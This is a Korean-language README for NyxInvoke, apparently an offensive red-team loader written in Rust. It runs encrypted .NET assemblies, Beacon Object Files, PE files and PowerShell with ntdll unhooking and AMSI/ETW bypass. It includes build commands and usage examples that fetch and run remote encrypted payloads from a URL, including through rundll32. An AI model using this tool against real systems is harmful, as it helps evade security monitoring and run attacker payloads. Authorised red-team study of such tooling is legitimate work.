
NyxInvoke는 패치리스 AMSI 및 ETW 우회 기능과 듀얼 빌드 지원을 갖춘 .NET 어셈블리, PowerShell 및 BOF를 실행하기 위한 Rust CLI 도구입니다.
NyxInvoke는 .NET 어셈블리, PowerShell 명령/스크립트, BOF(Beacon Object Files) 및 PE 파일을 실행하기 위한 다목적 Rust 기반 도구로, 내장된 Ntdll 언후킹, 패치리스 AMSI 및 ETW 우회 기능을 갖추고 있습니다. 독립 실행형 실행 파일 또는 DLL로 컴파일할 수 있습니다.
NyxInvoke는 실행 파일 또는 DLL로 빌드할 수 있습니다. 다음 명령을 사용하세요:
cargo +nightly build --release --target=x86_64-pc-windows-msvc --features exe --bin NyxInvoke
cargo +nightly build --release --target=x86_64-pc-windows-msvc --features dll --lib
컴파일된 CLR, BOF 또는 PE 데이터를 포함하려면 각 기능을 추가하세요:
cargo +nightly build --release --target=x86_64-pc-windows-msvc --features=exe,compiled_clr,compiled_bof,compiled_pe --bin NyxInvoke
또는
cargo +nightly build --release --target=x86_64-pc-windows-msvc --features=dll,compiled_clr,compiled_bof,compiled_pe --lib
실행 파일은 세 가지 주요 작동 모드를 지원합니다:
NyxInvoke.exe <mode> [OPTIONS]
여기서 <mode>는 clr, ps, bof 또는 pe 중 하나입니다.
DLL로 컴파일된 경우, rundll32를 사용하여 NyxInvoke를 실행할 수 있습니다. 구문은 다음과 같습니다:
rundll32.exe NyxInvoke.dll,NyxInvoke <mode> [OPTIONS]
CLR(공통 언어 런타임) 어셈블리 실행
사용법: NyxInvoke.exe clr [OPTIONS]
옵션:
-a, --args <ARGS>... 어셈블리에 전달할 인수
-b, --base <URL_OR_PATH> 리소스의 기본 URL 또는 경로
-k, --key <KEY_FILE> 암호화 키 파일 경로
-i, --iv <IV_FILE> 초기화 벡터(IV) 파일 경로
-f, --assembly <ASSEMBLY_FILE> 실행할 암호화된 어셈블리 파일의 경로 또는 URL
-u, --unencrypted 어셈블리가 암호화되지 않았는지 여부 (기본값은 암호화됨)
-h, --help 도움말 출력 ('--help'로 자세히 보기)
예시: NyxInvoke.exe clr --assembly payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"
BOF(Beacon Object Files) 실행
사용법: NyxInvoke.exe bof [OPTIONS]
옵션:
-a, --args <ARGS>... BOF에 전달할 인수
-b, --base <URL_OR_PATH> 리소스의 기본 URL 또는 경로
-k, --key <KEY_FILE> 암호화 키 파일 경로
-i, --iv <IV_FILE> 초기화 벡터(IV) 파일 경로
-f, --bof <BOF_FILE> 실행할 암호화된 BOF 파일의 경로 또는 URL
-u, --unencrypted BOF가 암호화되지 않았는지 여부 (기본값은 암호화됨)
-h, --help 도움말 출력 ('--help'로 자세히 보기)
예시: NyxInvoke.exe bof --bof payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"
PE(이식 가능한 실행 파일) 파일 실행
사용법: NyxInvoke.exe pe [OPTIONS]
옵션:
-a, --args <ARGS>... PE에 전달할 인수
-b, --base <URL_OR_PATH> 리소스의 기본 URL 또는 경로
-k, --key <KEY_FILE> 암호화 키 파일 경로
-i, --iv <IV_FILE> 초기화 벡터(IV) 파일 경로
-f, --pe <PE_FILE> 실행할 암호화된 PE 파일의 경로 또는 URL
-u, --unencrypted PE가 암호화되지 않았는지 여부 (기본값은 암호화됨)
-h, --help 도움말 출력 ('--help'로 자세히 보기)
예시: NyxInvoke.exe pe --pe payload.enc --key key.bin --iv iv.bin --args "arg1 arg2"
PowerShell 명령 또는 스크립트 실행
사용법: NyxInvoke.exe ps [OPTIONS]
옵션:
-c, --command <PS_COMMAND> 실행할 PowerShell 명령
-s, --script <PS_SCRIPT> 실행할 PowerShell 스크립트의 경로 또는 URL
-h, --help 도움말 출력 ('--help'로 자세히 보기)
예시:
NyxInvoke.exe ps --command "Get-Process"
NyxInvoke.exe ps --script script.ps1
CLR 모드 (원격 실행):
NyxInvoke.exe clr --base https://example.com/resources --key clr_aes.key --iv clr_aes.iv --assembly clr_data.enc --args arg1 arg2
PowerShell 모드 (스크립트 실행):
NyxInvoke.exe ps --script C:\path\to\script.ps1
BOF 모드 (로컬 실행):
NyxInvoke.exe bof --key C:\path\to\bof_aes.key --iv C:\path\to\bof_aes.iv --bof C:\path\to\bof_data.enc --args "str=argument1" "int=42"
PE 모드 (컴파일된 실행):
NyxInvoke.exe pe --args arg1
CLR 모드 (원격 실행):
rundll32.exe NyxInvoke.dll,NyxInvoke clr --base https://example.com/resources --key clr_aes.key --iv clr_aes.iv --assembly clr_data.enc --args arg1 arg2
PowerShell 모드 (직접 명령 실행):
rundll32.exe NyxInvoke.dll,NyxInvoke ps --command "Get-Process | Select-Object Name, ID"
BOF 모드 (컴파일된 실행):
rundll32.exe NyxInvoke.dll,NyxInvoke bof --args "str=argument1" "int=42"
PE 모드 (로컬 실행, 암호화되지 않음):
rundll32.exe NyxInvoke.dll,NyxInvoke pe -u --pe C:\path\to\pe.exe --args arg1 arg2
resources 디렉토리에서 NyxInvoke의 기능을 테스트하기 위한 여러 파일을 찾을 수 있습니다:
암호화된 CLR 어셈블리 (Seatbelt):
clr_data.encNyxInvoke.exe clr --key resources/clr_aes.key --iv resources/clr_aes.iv --assembly resources/clr_data.enc --args AntiVirus
암호화된 BOF (디렉토리 목록):
bof_data.encNyxInvoke.exe bof --key resources/bof_aes.key --iv resources/bof_aes.iv --bof resources/bof_data.enc --args "wstr=C:\Windows\system32\cmd.exe"
암호화된 PE (메시지 박스):
pe_data.encNyxInvoke.exe pe
PowerShell (메시지 박스):
ps.ps1NyxInvoke.exe ps -s http://example.com/ps.ps1




이 도구는 교육 및 승인된 테스트 목적으로만 사용됩니다. 어떤 환경에서 사용하기 전에 적절한 권한이 있는지 확인하세요.